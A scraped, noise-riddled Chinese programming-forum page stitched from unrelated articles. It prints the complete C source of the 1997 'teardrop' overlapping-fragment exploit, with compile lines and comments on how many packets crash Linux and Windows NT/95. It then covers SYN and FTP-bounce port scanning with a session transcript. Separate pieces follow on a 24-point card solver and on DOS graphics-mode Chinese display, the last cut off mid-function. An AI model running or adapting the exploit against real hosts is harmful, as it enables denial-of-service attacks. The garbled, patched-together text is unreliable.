; Y! Y5 p5 p6 T, C; ?; soffset=0
这样第二个碎片的 end=9+10=19
9 E% _9 c& `4 O% J* ^* u- Koffset=offset+（20-offset）=20
# M: _# }2 g  z5 `2 L; Q* lfp-〉len=19-20=-1； </P><P>那么memcpy将拷贝过多的数据导致崩溃。</P><P>
/*
# }: f+ G, |7 a. E2 g& `6 R* Copyright (c) 1997 route|daemon9 <ROUTE@INFONEXUS.COM>11.3.97
*
7 e1 \4 S5 W" X7 O; J* Linux/NT/95 Overlap frag bug exploit
*
# E( Y4 ?, h7 r, b* Exploits the overlapping IP fragment bug present in all Linux kernels and
7 {5 {/ ^7 v2 H. j7 _1 w- j* NT 4.0 / Windows 95 (others?)
+ B$ L7 R. o5 Z7 ?- q+ I- N6 l*
* Based off of: flip.c by klepto
* Compiles on: Linux, *BSD*
*
2 g6 B3 U7 J( e; }3 H" b. m. i* gcc -O2 teardrop.c -o teardrop
; N8 W" M; W: W& A! ~* OR
  [, T8 v" C3 e* y7 V9 _* gcc -O2 teardrop.c -o teardrop -DSTRANGE_BSD_BYTE_ORDERING_THING
*/</P><P>#include <STDIO.H>
  \! p5 `) C- [#include <STDLIB.H>
#include <UNISTD.H>
#include <STRING.H>
9 k1 {4 A. w/ `( Q8 F( {#include <NETDB.H>
#include <NETINET in.h>
#include <NETINET udp.h>
0 A0 ^* ~7 ?6 {7 M#include <ARPA inet.h>
5 Y- o, `  j$ j; Z. z#include <SYS types.h>
" B* D' h! i4 q; h#include <SYS time.h>
; a: T3 a2 V+ H" b) I6 {# n#include <SYS socket.h></P><P>#ifdef STRANGE_BSD_BYTE_ORDERING_THING
/* OpenBSD &lt; 2.1, all FreeBSD and netBSD, BSDi &lt; 3.0 */
2 R, w* r$ q6 S% w- ~#define FIX(n) (n)
#else /* OpenBSD 2.1, all Linux */
. |/ [2 i2 Z) r- m" Z& T- _#define FIX(n) htons(n)
9 `* y; n9 j+ e2 m#endif /* STRANGE_BSD_BYTE_ORDERING_THING */</P><P>#define IP_MF 0x2000 /* More IP fragment en route */
#define IPH 0x14 /* IP header size */
#define UDPH 0x8 /* UDP header size */
8 }' |$ e* @; y9 H! r" z4 q, ^#define PADDING 0x1c /* datagram frame padding for first packet */
#define MAGIC 0x3 /* Magic Fragment Constant (tm). Should be 2 or 3 */
#define COUNT 0x1 /* Linux dies with 1, NT is more stalwart and can
  ]3 n* [- E9 q  p$ E7 k* withstand maybe 5 or 10 sometimes... Experiment.
6 l5 h1 w9 d3 n& N, T# q*/</P><P>void usage(u_char *);
4 l0 f9 e* o) [u_long name_resolve(u_char *);
( w/ g8 w# i4 \u_short in_cksum(u_short *, int);
* g& j7 b6 O5 n7 Pvoid send_frags(int, u_long, u_long, u_short, u_short);</P><P>int main(int argc, char **argv)
- o; Z5 @' z# ^$ [1 a6 m5 l. a/ _. v{
& Y/ j' Z8 \; ?) i+ W1 o+ Dint one = 1,
count = 0,
# t8 w1 e* n3 M% n* w- x" j/ qi,
  u9 i$ S6 [% t9 Prip_sock;
( `9 H9 _' U* {! Eu_long src_ip = 0, dst_ip = 0;
$ K7 k( {( p4 Z' Qu_short src_prt = 0, dst_prt = 0;
struct in_addr addr;</P><P>fprintf(stderr, "teardrop route|daemon9\n\n");</P><P>//建SOCK_RAW
if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) &lt; 0)
" R% G$ [: ?2 x2 `{
, U5 J: {' X7 ]: ^1 uperror("raw socket");
exit(1);
2 j* S' B  ^, Q}
0 ~3 Y" v, L7 f8 A, e//由系统处理IP校验和。
% o& D6 h7 g. T7 p7 _6 pif (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&amp;one, sizeof(one))
&lt; 0)
{
perror("IP_HDRINCL");
exit(1);
. `+ m% N3 b0 q5 I& E: @}</P><P>if (argc &lt; 3) usage(argv[0]);
) W) k0 {/ k' g2 O2 Xif (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))
+ s4 t# E- s$ G" l{
fprintf(stderr, "What the hell kind of IP address is that?\n");
exit(1);
}</P><P>while ((i = getopt(argc, argv, "s:t:n:")) != EOF)
$ j! l9 ~- J( T6 D{
- O$ R, _8 p" G" X7 dswitch (i)
" d3 A8 `% N& T+ y. M' D, n{
case 's': /* source port (should be emphemeral) */
& o1 o9 h1 a. B/ Lsrc_prt = (u_short)atoi(optarg);
/ e( J7 y  Y3 Lbreak;
case 't': /* dest port (DNS, anyone?) */
dst_prt = (u_short)atoi(optarg);
break;
case 'n': /* number to send */
( [; N8 O4 W) \& h* _" jcount = atoi(optarg);
1 o  }8 B9 V$ M9 e8 L' ubreak;
, ~; D5 b4 w6 B( Adefault :
: {( K# ~: h% t6 H6 xusage(argv[0]);
- @* Q  W- _1 D( [; ?3 Ybreak; /* NOTREACHED */
4 g$ Z. I$ ^- d* D4 |}
7 d8 P9 P. S% A; N! l8 A3 M}</P><P>srandom((unsigned)(time((time_t)0)));
if (!src_prt) src_prt = (random() % 0xffff);
% L0 q5 v2 u/ g1 l8 n4 g8 ^( r+ Eif (!dst_prt) dst_prt = (random() % 0xffff);
if (!count) count = COUNT;</P><P>fprintf(stderr, "Death on flaxen wings:\n");
addr.s_addr = src_ip;
fprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt);
addr.s_addr = dst_ip;
fprintf(stderr, " T %15s.%5d\n", inet_ntoa(addr), dst_prt);
0 R- g) ~8 n3 Y! cfprintf(stderr, " Amt: %5d\n", count);
- t6 U# P* W6 b7 @5 M% ]; o2 w) kfprintf(stderr, "[ ");</P><P>for (i = 0; i &lt; count; i++)
+ E/ G7 R+ L  K1 p$ g% f{
. ?( B8 P+ M  _3 K7 L0 Fsend_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
fprintf(stderr, "b00m ");
% e0 E8 C( A6 u/ X; Vusleep(500);
}
% R4 L) _: \! e- I1 jfprintf(stderr, "]\n");
" a2 _/ t# s. }9 w6 Jreturn (0);
! v, }. j5 S" t! |3 ^}</P><P>/*
6 T  X  T# C& [, s4 [. Z1 a* Send two IP fragments with pathological offsets. We use an implementation
* independent way of assembling network packets that does not rely on any of
! e4 O$ L% t* e* j2 r/ b' i* the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).
*/</P><P>void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
3 s8 \! q0 }! T; X. ]6 Vu_short dst_prt)
{
u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */
u_char byte; /* a byte */
struct sockaddr_in sin; /* socket protocol structure */</P><P>sin.sin_family = AF_INET;
; e8 d6 c$ K- E' s  I2 _sin.sin_port = src_prt;
sin.sin_addr.s_addr = dst_ip;</P><P>/*
/ x6 U$ w9 J# x9 u* Grab some memory for our packet, align p_ptr to point at the beginning
: S6 I8 j9 }) Q% s9 M7 z$ |6 I* of our packet, and then fill it with zeros.
*/
% Y5 c  h* z) c. Rpacket = (u_char *)malloc(IPH + UDPH + PADDING);
p_ptr = packet;
bzero((u_char *)p_ptr, IPH + UDPH + PADDING);</P><P>byte = 0x45; /* IP version and header length */
memcpy(p_ptr, &amp;byte, sizeof(u_char));
# ^) ~, P- i2 {2 Hp_ptr += 2; /* IP TOS (skipped) */
" m6 j* d5 l; m, o*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING); /* total length */
p_ptr += 2;
*((u_short *)p_ptr) = htons(242); /* IP id */
! _. A& i3 L: yp_ptr += 2;
" Q, @- R9 K1 V+ _. Q( k* Q: P*((u_short *)p_ptr) |= FIX(IP_MF); /* IP frag flags and offset */
p_ptr += 2;
& Y4 f) M3 ^7 l1 y*((u_short *)p_ptr) = 0x40; /* IP TTL */
3 _, L' D( |& V" d# O! Cbyte = IPPROTO_UDP;
8 y! N& ?/ b. ememcpy(p_ptr + 1, &amp;byte, sizeof(u_char));
p_ptr += 4; /* IP checksum filled in by kernel */
. P  L% [% d5 l& t8 t8 z. _+ }: {*((u_long *)p_ptr) = src_ip; /* IP source address */
p_ptr += 4;
: y- O. F$ x; \( h4 |, G: F3 s  [. Z*((u_long *)p_ptr) = dst_ip; /* IP destination address */
# _2 P5 z, G- u, dp_ptr += 4;
6 d. w/ o- A4 \  p- ?5 y7 n*((u_short *)p_ptr) = htons(src_prt); /* UDP source port */
  t3 L& @1 M8 {$ j& u. [6 Cp_ptr += 2;
! z' w, X( G2 S' T* F- L*((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */
$ V' G: s7 t$ k# b+ Qp_ptr += 2;
4 V6 w/ m9 n( h6 Q- P*((u_short *)p_ptr) = htons(8 + PADDING); /* UDP total length */</P><P>if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&amp;sin,
" o2 _1 s+ \+ \3 ?sizeof(struct sockaddr)) == -1)
{
# r. i- i" n5 D  @( X. a0 [/ Uperror("\nsendto");
4 j: N; u! ~" Z1 a& e  `3 B5 c& jfree(packet);
exit(1);
}</P><P>/* We set the fragment offset to be inside of the previous packet's
* payload (it overlaps inside the previous packet) but do not include
9 d/ u# E. @0 Z) X8 I0 W$ g, c* enough payload to cover complete the datagram. Just the header will
* do, but to crash NT/95 machines, a bit larger of packet seems to work
' d9 A* I/ K* Z, p6 [. ~  N* better.
*/
  G5 i: {! X7 |" {* c! e2 l, i1 Zp_ptr = &amp;packet[2]; /* IP total length is 2 bytes into the header */
*((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
6 f% o8 d# f% J" |1 R, Z' a( @/ wp_ptr += 4; /* IP offset is 6 bytes into the header */
*((u_short *)p_ptr) = FIX(MAGIC);</P><P>if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&amp;sin,
sizeof(struct sockaddr)) == -1)
% f. i* V( L: T( d0 H5 E{
perror("\nsendto");
free(packet);
exit(1);
}
free(packet);
0 f$ F1 x' N$ S, d  ^3 @}</P><P>u_long name_resolve(u_char *host_name)
: X4 c+ E9 K" n4 u3 Z  H{
+ L" _' ?2 a: y( m% n7 F# gstruct in_addr addr;
struct hostent *host_ent;</P><P>if ((addr.s_addr = inet_addr(host_name)) == -1)
9 }. f9 h- q- P5 D6 g, X$ Q{
' k6 X( e0 z6 ^if (!(host_ent = gethostbyname(host_name))) return (0);
bcopy(host_ent-&gt;h_addr, (char *)&amp;addr.s_addr, host_ent-&gt;h_length);
8 E9 R# ^* t4 S$ l}
return (addr.s_addr);
+ k& ^6 H  ~& f- ~- b* N}</P><P>void usage(u_char *name)
{
fprintf(stderr,
( |2 P' ^% ]% l, O- V"%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",
name);
exit(0);
/ {. O0 L. }. o1 `  r* r}</P><P>
2 d& y- L6 R6 ^, k# f0 s- i4 Portscan 和 Antiportscan</P><P>Portscan的两种主要方法：
(1) Half-open（半打开）
2 k4 m, p! U. g- D利用下面特性：但一个主机收到向某个端口（TCP）发出的(SYN)，
- l. N7 W& s$ x+ i& K; r* P如果在这个端口有服务，那么返回（SYN+ASK），不然返回（RST）。</P><P>(2) FTP scanner
" b8 A' I/ Y! o利用了FTP的port命令，例如可以这样作：
选择一个FTP服务器，连上后令port命令指向目标机，如果返回
值是正确的，那么目标机的该端口是有服务的，如返回打开端口错误则
$ C; {( l2 M! U! g( ^3 U6 T该端口无服务。
& i- m5 V+ m5 i) a' |& Utelnet 192.168.1.13 21
4 e$ y5 R9 @1 }/ @; rTrying 192.168.1.13...
/ f4 X2 M. J" P% ~  ^6 d1 w, b0 @Connected to pp.bricks.org.
& G* p& y0 Y) g9 HEscape character is '^]'.
220 pp.bricks.org FTP server (Version wu-2.4.2-academ[BETA-16](1)
Thu May 7 23:18:05 EDT 1998) ready.</P><P>user anonymous
; X0 X/ U1 \, u/ v5 X2 v& ?2 Y) t331 Guest login ok, send your complete e-mail address as password.
pass aa@aa.aa
230 Guest login ok, access restrictions apply.
port a,b,c,d,p1,p2 // a.b.c.d是要探测的目标 p1 p2是目的端口</P><P>150 Opening ASCII mode data connection for file list.
; P, S" H2 u( `0 [) d0 ~2 a  j425 Can't build data connection: Connection refused.
2 U( y2 N1 I; x4 I//该端口未活动
150 Opening ASCII mode data connection for file list.
226 Transfer complete.
1 d8 A; R1 H: c0 M4 s* d  N1 e//该端口活动中
4 P7 [, b$ i, a1 H  ^2 |6 y6 D但有些FTP服务器禁止你将数据连接影响其他地址，那就没办法了。</P><P>上述两种方法是通用的，而针对个别系统有一些特殊方法。</P><P>如一些系统受到包后会作如下处理：</P><P>标志 活动的端口的应答 不活动端口的应答 </P><P>SYN SYN|ACK RST 或 Nothing
SYN|FIN ACK or SYN|ACK* RST
ACK Nothing RST
; [) K9 \: Z8 J5 o: Z0 flag Nothing RST</P><P>你最好是试一试。</P><P>Antiport
一般是调用 sd=socket(PF_INET,SOCK_RAW,6),然后不停的读，
1 g1 x3 q1 y7 `+ @; y/ _若发现一个主机不停的象你发送（SYN）包，却没有完成连结，可以认
$ _3 b" U" r9 L+ K) d2 l定它在向你做portscan。</P><P>notes：
早期的portscan程序是老老实实的向你一个一个端口连（完成三次握手），
2 F( u- c* j' r1 _而一些antiscan是在一个平时不用的端口上起一个服务器，并认为连上来的
都是向它scan。</P>

韩冰

< align=center><FONT color=#ff6600 size=4><B><FONT size=5>关于二十四点游戏的编程思路与基本算法</FONT></B></FONT></P>< align=left>
8 u7 q) k; B$ |  e9 K　　漫长的假期对于我来说总是枯燥无味的，闲来无聊便和同学玩起童年时经常玩的二十四点牌游戏来。此游戏说来简单，就是利用加减乘除以及括号将给出的四张牌组成一个值为24的表达式。但是其中却不乏一些有趣的题目，这不，我们刚玩了一会儿，便遇到了一个难题——3、6、6、10（其实后来想想，这也不算是个太难的题，只是当时我们的脑筋都没有转弯而已，呵呵）。
  m' j- ^" h4 k2 l4 @( x1 ^
: x1 q0 {  g: p. U$ {　　问题既然出现了，我们当然要解决。冥思苦想之际，我的脑中掠过一丝念头——何不编个程序来解决这个问题呢？文曲星中不就有这样的程序吗？所以这个想法应该是可行。想到这里我立刻开始思索这个程序的算法，最先想到的自然是穷举法（后来发现我再也想不到更好的方法了，悲哀呀，呵呵），因为在这学期我曾经写过一个小程序——计算有括号的简单表达式。只要我能编程实现四个数加上运算符号所构成的表达式的穷举，不就可以利用这个计算程序来完成这个计算二十四点的程序吗？确定了这个思路之后，我开始想这个问题的细节。
6 Y! G  c( |9 r  m( o" ~首先穷举的可行性问题。我把表达式如下分成三类——
<FONT color=#ff0000>1、 无括号的简单表达式。
  m* {$ H+ z0 X( ]2 A( o' z2、 有一个括号的简单表达式。
7 _* }  t" H- O* a3、 有两个括号的较复4、 杂表达式。
7 O& N; |: n5 Z( f' R! f</FONT>穷举的开始我对给出的四个数进行排列，其可能的种数为4*3*2*1=24。我利用一个嵌套函数实现四个数的排列，算法如下:
9 n$ C! X8 C/ B+ s6 y% W9 B<FONT color=#009900>/* ans[] 用来存放各种排列组合的数组 */
, R1 m& Q6 L+ @/* c[] 存放四张牌的数组 */
/* k[] c[]种四张牌的代号，其中k[I]=I+1。
: M( P" ?5 |# y$ ^* k用它来代替c[]做处理，考虑到c[]中有可能出现相同数的情况 */
/* kans[] 暂存生成的排列组合 */
" n% U, _; v2 J6 T; l% H3 A/* j 嵌套循环的次数 */
int fans(c,k,ans,kans,j)
int j,k[],c[];char ans[],kans[];
{ int i,p,q,r,h,flag,s[4],t[4][4];
for(p=0,q=0;p&lt;4;p++)
{ for(r=0,flag=0;r<J;R++)
4 |: b% M, t+ c6 ^3 d/ M- ` if(k[p]!=kans[r]) flag++;
8 m# x0 b: o8 u  r, nif(flag==j) t[j][q++]=k[p];
3 X. o* X) L! b# ]# n' [}
for(s[j]=0;s[j]&lt;4-j;s[j]++)
{ kans[j]=t[j][s[j]];
if(j==3) { for(h=0;h&lt;4;h++)
' h" l. }: x1 n: c1 x- o8 e( q* qans[2*h]=c[kans[h]-1]; /* 调整生成的排列组合在最终的表
达式中的位置 */
' V. i9 ~% v$ O2 Afor(h=0;h&lt;3;h++)
' P+ F: P( X+ s2 I% Ksymbol(ans,h); /* 在表达式中添加运算符号 */
% |: V! X6 M$ R}
else { j++;
$ b% t8 F6 V4 z( S2 _, ]' Yfans(c,k,ans,kans,j);
! q2 J4 X2 Y- x/ \, T8 B  X$ u* {) P2 ]j--;
}
6 x9 G7 |* H  A% h7 ?( l, h}
}</FONT>

　　正如上面函数中提到的，在完成四张牌的排列之后，在表达式中添加运算符号。由于只有四张牌，所以只要添加三个运算符号就可以了。由于每一个运算符号可重复，所以计算出其可能的种数为4*4*4=64种。仍然利用嵌套函数实现添加运算符号的穷举，算法如下:
1 {5 i9 m0 h( l# t$ P9 V
<FONT color=#009900>/* ans[],j同上。sy[]存放四个运算符号。h为表达式形式。*/
& Z) F0 G$ I6 v. I% S: \int sans(ans,sy,j,h)
char ans[],sy[];int j,h;
{ int i,p,k[3],m,n; char ktans[20];
% H6 f& J: L" W' \for(k[j]=0;k[j]&lt;4;k[j]++)
{ ans[2*j+1]=sy[k[j]]; /* 刚才的四个数分别存放在0、2、4、6位
这里的三个运算符号分别存放在1、3、5位*/
if(j==2)
{ ans[5]=sy[k[j]];
/* 此处根据不同的表达式形式再进行相应的处理 */
. p% p4 p' \. k( ~}
else { j++; sans(ans,sy,j--,h); }
+ @6 l1 g1 |# [}
}

1 A/ t7 G  S+ b2 Z</FONT>　　好了，接下来我再考虑不同表达式的处理。刚才我已经将表达式分为三类，是因为添加三个括号对于四张牌来说肯定是重复的。对于第一种，无括号自然不用另行处理；而第二种情况由以下代码可以得出其可能性有六种，其中还有一种是多余的。
8 a& D3 B+ K2 Z+ k2 P/ x# f/ e5 Mfor(m=0;m&lt;=4;m+=2)
for(n=m+4;n&lt;=8;n+=2)
7 B+ n, j; _5 i. {6 @: |8 j8 S8 n& ^　　这个for循环给出了添加一个括号的可能性的种数，其中m、n分别为添加在表达式中的左右括号的位置。我所说的多余的是指m=0，n=8，也就是放在表达式的两端。这真是多此一举，呵呵！最后一种情况是添加两个括号，我分析了一下，发现只可能是这种形式才不会是重复的——（a b）(c d)。为什么不会出现嵌套括号的情况呢？因为如果是嵌套括号，那么外面的括号肯定是包含三个数字的（四个没有必要），也就是说这个括号里面包含了两个运算符号，而这两个运算符号是被另外一个括号隔开的。那么如果这两个运算符号是同一优先级的，则肯定可以通过一些转换去掉括号（你不妨举一些例子来试试），也就是说这一个括号没有必要；如果这两个运算符号不是同一优先级，也必然是这种形式((a+-b)*/c)。而*和/在这几个运算符号中优先级最高，自然就没有必要在它的外面添加括号了。

, C% j1 O; g  k, O4 R" I! \　　综上所述，所有可能的表达式的种数为24*64*（1+6+1）=12288种。哈哈，只有一万多种可能性（这其中还有重复），这对于电脑来说可是小case哟！所以，对于穷举的可行性分析和实现也就完成了。
</P>< align=left>　　接下来的问题就是如何对有符号的简单表达式进行处理。这是栈的一个著名应用，那么什么是栈呢？栈的概念是从日常生活中货物在货栈种的存取过程抽象出来的，即最后存放入栈的货物（堆在靠出口处）先被提取出去，符合“先进后出，后进先出”的原则。这种结构犹如子弹夹。
在栈中，元素的插入称为压入（push）或入栈，元素的删除称为弹出（pop）或退栈。
2 f, x0 X0 e) Z2 d+ N0 m
　　栈的基本运算有三种，其中包括入栈运算、退栈运算以及读栈顶元素，这些请参考相关数据结构资料。根据这些基本运算就可以用数组模拟出栈来。

. S7 Y! z. d# w; m% ~) y* h　　那么作为栈的著名应用，表达式的计算可以有两种方法。

　　<FONT color=#ff0000>第一种方法——</FONT>
, ]2 w; u6 v. `. @8 {! M. p( T　　首先建立两个栈，操作数栈OVS和运算符栈OPS。其中，操作数栈用来记忆表达式中的操作数，其栈顶指针为topv，初始时为空，即topv=0；运算符栈用来记忆表达式中的运算符，其栈顶指针为topp，初始时，栈中只有一个表达式结束符，即topp=1，且OPS（1）=‘；’。此处的‘；’即表达式结束符。
/ V: Q! R3 l" f. ~　　然后自左至右的扫描待处理的表达式，并假设当前扫描到的符号为W，根据不同的符号W做如下不同的处理：
1 o% P: e! H& ]) g- p% h+ I1、 若W为操作数
) V( J; L) l% y" b2、 则将W压入操作数栈OVS
3、 且继续扫描下一个字符
4、 若W为运算符
5、 则根据运算符的性质做相应的处理：
(1)、若运算符为左括号或者运算符的优先级大于运算符栈栈顶的运算符(即OPS(top)),则将运算符W压入运算符栈OPS，并继续扫描下一个字符。
# _8 H* F+ V5 P7 {(2)、若运算符W为表达式结束符‘；’且运算符栈栈顶的运算符也为表达式结束符（即OPS(topp)=’;’），则处理过程结束，此时，操作数栈栈顶元素（即OVS（topv））即为表达式的值。
(3)、若运算符W为右括号且运算符栈栈顶的运算符为左括号（即OPS（topp）=’(‘)，则将左括号从运算符栈谈出，且继续扫描下一个符号。
, r7 C, S) V& O  k% _! F4 ~: o) N(4)、若运算符的右不大于运算符栈栈顶的运算符（即OPS(topp)），则从操作数栈OVS中弹出两个操作数，设先后弹出的操作数为a、b，再从运算符栈OPS中弹出一个运算符，设为+，然后作运算a+b,并将运算结果压入操作数栈OVS。本次的运算符下次将重新考虑。

( Z+ u& a! j+ ?/ Y2 @, l0 \$ t<FONT color=#ff0000>　　第二种方法——</FONT>
' B* [4 Y& J' j# H　　首先对表达式进行线性化，然后将线性表达式转换成机器指令序列以便进行求值。

( }' i8 R7 F! W4 P3 {% ~; \8 e& N　　那么什么是表达式的线性化呢？人们所习惯的表达式的表达方法称为中缀表示。中缀表示的特点是运算符位于运算对象的中间。但这种表示方式，有时必须借助括号才能将运算顺序表达清楚，而且处理也比较复杂。

　　 1929年，波兰逻辑学家Lukasiewicz提出一种不用括号的逻辑符号体系，后来人们称之为波兰表示法（Polish notation）。波兰表达式的特点是运算符位于运算对象的后面，因此称为后缀表示。在对波兰表达式进行运算，严格按照自左至右的顺序进行。下面给出一些表达式及其相应的波兰表达式。
表达式 波兰表达式
A-B AB-
（A-B）*C+D AB-C*D+
, h5 o6 V# D/ n. D, mA*（B+C/D）-E*F ABCD/+*EF*-
（B+C）/（A-D） BC+AD-/

( Z. B+ M2 @; X; y1 _　　OK，所谓表达式的线性化是指将中缀表达的表达式转化为波兰表达式。对于每一个表达式，利用栈可以把表达式变换成波兰表达式，也可以利用栈来计算波兰表达式的值。

　　至于转换和计算的过程和第一种方法大同小异，这里就不再赘述了。
& c- G% ]0 f1 Q3 `" B: B3 a
3 a6 S- D# y4 r$ g* t　　下面给出转换和计算的具体实现程序——

2 a( _+ b7 y6 H- ~<FONT color=#009900>/* first函数给出各个运算符的优先级，其中=为表达式结束符 */
, p4 j, R- r. D# k' g9 {% zint first(char c)
{ int p;
( f: y) l" A' s9 i/ y. ^switch(c)
{ case '*': p=2; break;
case '/': p=2; break;
case '+': p=1; break;
7 x- [9 B! H6 D5 T' u0 A& Ecase '-': p=1; break;
case '(': p=0; break;
) e. K$ h+ p8 s% Y  \) k0 r& mcase '=': p=-1; break;
: K$ k0 v6 ?: p' l. u% T" q}
1 I. X& `$ y' \$ q$ Y& oreturn(p);
9 D' b! M% N- r! v}
* D) I# \, I9 l/ Z4 p/* 此函数实现中缀到后缀的转换 */
' O3 r# j- K! E0 F+ z, U0 y1 r( ?/* M的值宏定义为20 */
  Y9 K& _3 L- I' k- N8 k/* sp[]为表达式数组 */
  t( P8 L5 _* X8 iint mid_last()
, u5 f. }& |3 w3 ?" b2 r- G{ int i=0,j=0; char c,sm[M];
  N3 k$ }. y7 S4 {$ K' gc=s[0]; sm[0]='='; top=0;
1 @1 _7 k; f; V' q4 Bwhile(c!='\0')
& Q0 o" f% f, R8 D% I* j8 D7 Z  K+ ?{ if(islower(c)) sp[j++]=c;
3 Q' L8 @& V4 W8 B9 d+ Belse switch(c)
{ case '+':
case '-':
' F( i% `9 S7 l1 Ucase '*':
- J  T# u; m3 tcase '/': while(first(c)&lt;=first(sm[top]))
sp[j++]=sm[top--];
; \6 ~' n0 ^5 t+ }sm[++top]=c; break;
case '(': sm[++top]=c; break;
0 w/ ?0 p/ E1 P* Q! Zcase ')': while(sm[top]!='(')
( k1 [8 o: ^5 m7 F9 M' Y& s* Isp[j++]=sm[top--];
5 ^3 S+ J: f# }( q: {/ N/ O4 Gtop--; break;
$ ~3 X6 \/ n7 M# Y* R/ Fdefault :return(1);
}
c=s[++i];
}
" r0 r2 @! @$ ^& ~# k9 z: Ywhile(top&gt;0) sp[j++]=sm[top--];
' x/ A& `8 x% Q+ S; ~4 h, Ksp[j]='\0'; return(0);
}
. \, E3 }9 d2 u' i/* 由后缀表达式来计算表达式的值 */
int calc()
- [/ u; Q( g' j0 p; ^; v{ int i=0,sm[M],tr; char c;
/ W/ e3 x' R8 Yc=sp[0]; top=-1;
while(c!='\0')
{ if(islower(c)) sm[++top]=ver[c-'a'];/*在转换过程中用abcd等来代替数，
这样才可以更方便的处理非一位数，
  K8 f' D. g2 t; U/ bver数组中存放着这些字母所代替的数*/
else switch(c)
- ]; G* s. S" N( N  I! H{ case '+': tr=sm[top--]; sm[top]+=tr; break;
9 A' V* l" c- v# k1 B- rcase '-': tr=sm[top--]; sm[top]-=tr; break;
case '*': tr=sm[top--]; sm[top]*=tr; break;
3 c$ H, V% d/ _3 {4 h9 g  T2 j( Vcase '/': tr=sm[top--];sm[top]/=tr;break;
default : return(1);
+ ]. N* m% M/ Y  {4 T}
7 L% B: I( D1 _; V" F4 V9 Pc=sp[++i];
" p) t6 H* q# P}
if(top&gt;0) return(1);
else { result=sm[top]; return(0); }
9 K# v1 {+ h, {0 c( E}
, o' z+ y( E( _  w, k* R- L: ]</FONT>
9 G/ X, W$ w6 i+ O9 z6 M- c　　这样这个程序基本上就算解决了，回过头来拿这个程序来算一算文章开始的那个问题。哈哈，算出来了，原来如此简单——（6-3）*10-6=24。
2 _! P8 I6 s$ W: g4 t/ G7 |+ _9 S
　　最后我总结了一下这其中容易出错的地方——
- ~; O/ s: o- I6 b2 `
- h7 v6 t- l3 ]3 E　　1、 排列的时候由于一个数只能出现一次， 所以必然有一个判断语句。但是用什么来判断，用大小显然不行，因为有可能这四个数中有两个或者以上的数是相同的。我的方法是给每一个数设置一个代号，在排列结束时，通过这个代号找到这个数。

　　2、在应用嵌套函数时，需仔细分析程序的执行过程，并对个别变量进行适当的调整（如j的值）,程序才能正确的执行。

　　3、在分析括号问题的时候要认真仔细，不要错过任何一个可能的机会，也要尽量使程序变得简单一些。不过我的分析可能也有问题，还请高手指点。

　　4、在用函数对一个数组进行处理的时候，一定要注意如果这个数组还需要再应用，就必须将它先保存起来，否则会出错，而且是很严重的错误。

8 Q3 P4 ?  r4 m2 P+ N. d$ {+ I, c$ u　　5、在处理用户输入的表达式时，由于一个十位数或者更高位数是被分解成各位数存放在数组中，所以需对它们进行处理，将它们转化成实际的整型变量。另外，在转化过程中，用一个字母来代替这个数，并将这个数存在一个数组中，且它在数组中的位置和代替它的这个字母有一定的联系，这样才能取回这个数。
1 W5 c- f( N/ @! }4 i% d
　　6、由于在穷举过程难免会出现计算过程中有除以0的计算，所以我们必须对calc函数种对于除的运算加以处理，否则程序会因为出错而退出（Divide by 0）。
) T% u, Z% ?2 g0 O1 }( y
0 l" R( a% n9 g" ?' F( x　　7、最后一个问题，本程序尚未解决。对于一些比较著名的题目，本程序无法解答。比如说5、5、5、1或者8、8、3、3。这是由于这些题目在计算的过程用到了小数，而本程序并没有考虑到小数。
</P>

韩冰

< align=center><FONT color=#cc0000 size=5><B>
图形模式下的汉字显示</B></FONT></P><>　</P><>　我们在编写一些应用软件时，为了使软件更为通俗浅显、易学易用，具备汉字的用户界面是必不可少的条件。在文本模式下，只要有汉字操作系统的支持，显示汉字是不成问题的。只要用printf或cprintf就可以了。#include <STDIO.H>void main(){printf("我正在学习Ｃ语言！");}
$ p# E; P( e0 C7 p　　在图形模式下显示汉字就稍稍麻烦些。可幸的是有很多人从事这一问题的研究，并开发了一些用于汉字显示的函数。这些函数不需要汉字系统的支持，但用到其中的字库文件。如ＵＣＤＯＳ的HZK16。
1 F! ~( V8 f/ ~, |* u　　汉字显示的第一步是打开字库文件。
　　函数： int OpenHz(const char *Hz16Path); 功能：打开字库文件Hz16Pathint handle; /*打开的字库文件指针*/int OpenHz(const char *Hz16Path){return (handle=open(Hz16Path,O_RDONLY|O_BINARY));} 打开字库文件后，就可以用下面介绍的函数显示16点阵的汉字。
; s# O. s- J# [+ l- P: f: q8 i　　函数： int WrtHz16(int x,int y,int z,int color,char *p); 功能：在(x,y)用color颜色显示汉字串p,汉字之间的空格数为z。intWrtHz16(int x, int y,int z,int color,char *p)
% e6 H$ u, i5 W# o/ [- T- F4 W) I{
3 y5 W$ x- L3 ^/ tunsigned int i,c1,c2,f=0; /*x,y:write at (x,y);*/
1 r, \' @* [5 L" \% }$ K$ o2 N  F4 _int rec,i1,i2,i3; /*z:space between;*/
! z; I( C# v: V: Q2 Glong l; /*color:txt color*/
char by[32]; /*p:HZ str*/
if( handle&lt;0 ) return -1; while((i=*p++)!=0){
if(i&gt;0xa1)
5 Y, y% x( f: A: M1 m& S7 v5 fif(f==0){
c1=(i-0xa1)&amp;0x07f;
f=1;
0 A9 m$ V8 c' m9 `3 O/ `8 z}
7 c( D' Z, A+ J( l8 Uelse{
c2=(i-0xa1)&amp;0x07f;
( p8 W) Y2 A$ p! f3 |3 Ef=0;
8 a- K' T+ x4 {9 a5 v' prec=c1*94+c2;
2 |& i2 i/ F' Y" A$ z2 K0 Ul=rec*32L;
, z2 S- g+ S( Z/ l+ Nlseek(handle,l,SEEK_SET);
read(handle,by,32);
; ~) f4 t6 p& Q& s6 Mfor(i1=0;i1&lt;16;i1++)
1 f' Q) u" G9 }7 j* ^" e  d# E  Ffor(i2=0;i2&lt;2;i2++)
